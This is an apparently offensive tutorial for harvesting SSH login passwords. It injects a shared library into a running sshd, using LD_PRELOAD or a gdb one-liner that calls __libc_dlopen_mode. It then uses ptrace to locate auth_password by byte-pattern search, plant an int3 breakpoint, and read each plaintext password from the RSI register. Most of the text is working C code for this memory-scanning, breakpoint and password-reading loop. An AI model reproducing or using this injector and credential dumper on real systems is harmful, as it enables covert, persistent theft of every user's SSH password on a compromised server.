openssh

TL;DR

  1. Use echo 'print __libc_dlopen_mode("/path/to/library.so", 2)' | gdb -p <PID> for process injection
  2. Write a shared library to inject into sshd process
  3. In the library, fork a child process to monitor sshd children then attach (PTRACE_ATTATCH) to them
  4. For each ssh session, search its memory for a code pattern in auth_password function, and set its address (seek to the beginning of an instruction) as breakpoint
  5. Read registers on breakpoint, the password argument is stored in RSI, we follow its address and read the password
  6. Restore sshd process, keep monitoring until it exits

How to inject to sshd

The normal way

Since you are trying to inject to sshd, I assume you already have root

Don't set a global LD_PRELOAD, you only need to load your shared library into sshd

Edit sshd start script or systemd service file, change its command to include LD_PRELOAD

Restart sshd service

I don't want to restart sshd

This is not persistent, if you want persistence you need to do extra work

Call dlopen in libdl

__libc_dlopen_mode in libc

There are two functions which we can use to load a library into to the program: dlopen(3) from libdl, and __libc_dlopen_mode, libc’s implementation. We’ll use __libc_dlopen_mode because it doesn’t require the host process to have libdl linked in.

Save some time and use GDB

I have seen many implementations of dlopen and __libc_dlopen_mode injector, unfortunately none of them work out of the box, they are unstable, you probably have to check the code and adapt them yourself

To save your time and improve stability, use GDB. You can just put a static gdb binary on your target and use this one liner:

echo 'print __libc_dlopen_mode("/path/to/library.so", 2)' | gdb -p <PID>

gdb inject

Write the password dumper

Locate auth_password at runtime

What we want is to pause sshd when it reaches auth_password function, at which time we can read the password argument using PTRACE_PEEKTEXT

/*
 * Tries to authenticate the user using password.  Returns true if
 * authentication succeeds.
 */
int auth_password(struct ssh* ssh, const char* password);

If we compile our own sshd, without stripping its symbols, we can easily use gdb to break at auth_password and read our password:

gdb read password

How do we know where to set the breakpoint?

XPN's article talked about code pattern searching, we are going to use the same method for locating

We pick

MOV        R8,RAX
XOR        EAX,EAX
CMP        R8,0x400

as our pattern, as it only appears once in the entire executable code block

search mem

Now we can test our method with gdb:

test bp

How to do that in C?

// Open the SSHD maps file and search for the SSHD process address
char mapsfile[32];
snprintf(mapsfile, 32, "/proc/%d/maps", pid);
fd = fopen(mapsfile, "r");
while (fgets(buffer, sizeof(buffer), fd)) {
    if (strstr(buffer, "/sshd") && strstr(buffer, "r-x")) {
        ptr = (char*)strtoull(buffer, NULL, 16);
        end = (char*)strtoull(strstr(buffer, "-") + 1, NULL, 16);
        break;
    }
}
printf("[*] SSHD process found at %p - %p\n", ptr, end);
fclose(fd);

// search for auth_password function
puts("[*] Searching for auth_password...");
while (ptr < end) {
    long word = ptrace(PTRACE_PEEKTEXT, pid, (unsigned long long)ptr, NULL);
    /* printf("   - 0x%lx\n", word); */

    // this is our code pattern starting at 0xc031, in the middle of `mov r8, rax`
    if (word == 0x400f88149c031c0) {
        printf("\n[+] Got a hit (0x%lx) at 0x%llx\n", word, (unsigned long long)ptr);
        break;
    }
    ptr++;
}
printf("\n\n[+] Finished Searching: ptr reached %p\n", ptr);
if (end == ptr) {
    puts("[!] Could not find signature in SSHD process");
    exit(1);
}
ptr -= 2; // back at the beginning of `mov r8, rax`

There's one thing we need to notice, PTRACE_PEEKTEXT read data by WORD, if we got a word that matches, the address is probably not the begining of our code pattern. To set a breakpoint that can be restored later, we must put the ptr at the begining of an instruction

And yes, you can avoid this by

if (word == 0x4989c031c04981f8) {
    printf("\n[+] Got a hit (0x%lx) at 0x%llx\n", word, (unsigned long long)ptr);
    break;
}

Set a breakpoint

Like said earlier, we substitude the first byte of mov r8, rax (49 89 c0) with int 3 (0xCC)

int 3 is a single byte instruction in x86 assembly, when it gets executed, RIP stops at the next byte, this is called a software breakpoint

// write breakpoint
long data = ptrace(PTRACE_PEEKTEXT, pid, ptr, 0); // original instruction
long data_with_trap = (data & ~0xFF) | 0xCC;      // patch the first byte with 0xCC (int 3)
if (ptrace(PTRACE_POKETEXT, pid, (void*)ptr, data_with_trap) < 0) {
    perror("PTRACE_POKETEXT insert int3");
    exit(1);
}
puts("[+] INT 3 written, we have set a breakpoint");

Read password on break

At the breakpoint, we can read password (char *) from the RSI register

Why RSI?

rsi

(and read about __std_call)

This is how to read a string using PTRACE_PEEKTEXT:

// read RSI-pointed memory for password string, stop at NULL
int i;
unsigned long long child_addr = (unsigned long long)regs.rsi;
char password[100];
char* ppass = password; // points to the tail of password
do {
    long val;
    char* p;

    val = ptrace(PTRACE_PEEKTEXT, pid, child_addr, NULL);
    if (val == -1) {
        perror("[-] Failed to read memory");
        exit(1);
    }
    child_addr += sizeof(long);

    p = (char*)&val;
    for (i = 0; i < sizeof(long); i++, p++, ppass++) {
        *ppass = *p;
        if (*p == '\0')
            break;
    }
} while (i == sizeof(long));

printf("\n\n[+] Password is\n\n\t%s (length: %lu)\n\n", password, strlen(password));

Restore execution while keeping the breakpoint

As you can see in the code below, I still have problem with process waiting, but overall it works

// continue the session
// read breakpoint
ptrace_read = ptrace(PTRACE_PEEKTEXT, pid, ptr, NULL);
printf(" - checking bp: %lx\n", ptrace_read);
// remove breakpoint so we can single step
if (ptrace(PTRACE_POKETEXT, pid, (void*)ptr, data) < 0) {
perror("removing breakpoint");
}
regs.rip -= 1; // one byte backward, to 0xCC
if (ptrace(PTRACE_SETREGS, pid, NULL, &regs) < 0) {
perror("set regs");
}
if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) < 0) { // exec the original code
perror("PTRACE_SINGLESTEP");
}
if (waitpid(pid, &status, (WSTOPPED | WUNTRACED)) < 0) // FIXME might stuck here
perror("waitpid WSTOPPED, SINGLESTEP");

// breakpoint removed, check
ptrace_read = ptrace(PTRACE_PEEKTEXT, pid, ptr, NULL);
printf(" - removed bp: %lx\n", ptrace_read);
if (ptrace(PTRACE_GETREGS, pid, NULL, &regs) < 0) {
perror("PTRACE_GETREGS failed");
}

// check where RIP points to after SINGLESTEP
ptrace_read = ptrace(PTRACE_PEEKTEXT, pid, (unsigned long long)regs.rip, NULL);
printf("\n\nCheck where RIP points to after single step:\n"
   "- RIP: 0x%llx -> %lx\n"
   "- R8: 0x%llx\n"
   "- RAX: 0x%llx\n",
regs.rip, ptrace_read, regs.r8, regs.rax);
// put breakpoint back
puts("[*] Adding breakpoint back");
if (ptrace(PTRACE_POKETEXT, pid, (void*)ptr, data_with_trap) < 0) {
perror("adding breakpoint back");
}
// continue
if (ptrace(PTRACE_CONT, pid, NULL, NULL) < 0) {
perror("PTRACE_CONT failed");
return;
}
if (waitpid(pid, &status, (WCONTINUED | WSTOPPED | WUNTRACED)) < 0) {
// FIXME the process's state doesn't seem to change, causing the wait to stuck
// (on the first password commit only)
perror("continuing from SINGLESTEP");
return;
}
puts("[*] Added breakpoint back");
// if the tracee has exited
if (WIFEXITED(status)) {
printf("[-] SSHD session ends (pid: %d)\n", pid);
break;
}

// continue this session
// loop
puts("[+] SSHD continues...\n\n");

Test

Will put a video here later


Comments

comments powered by Disqus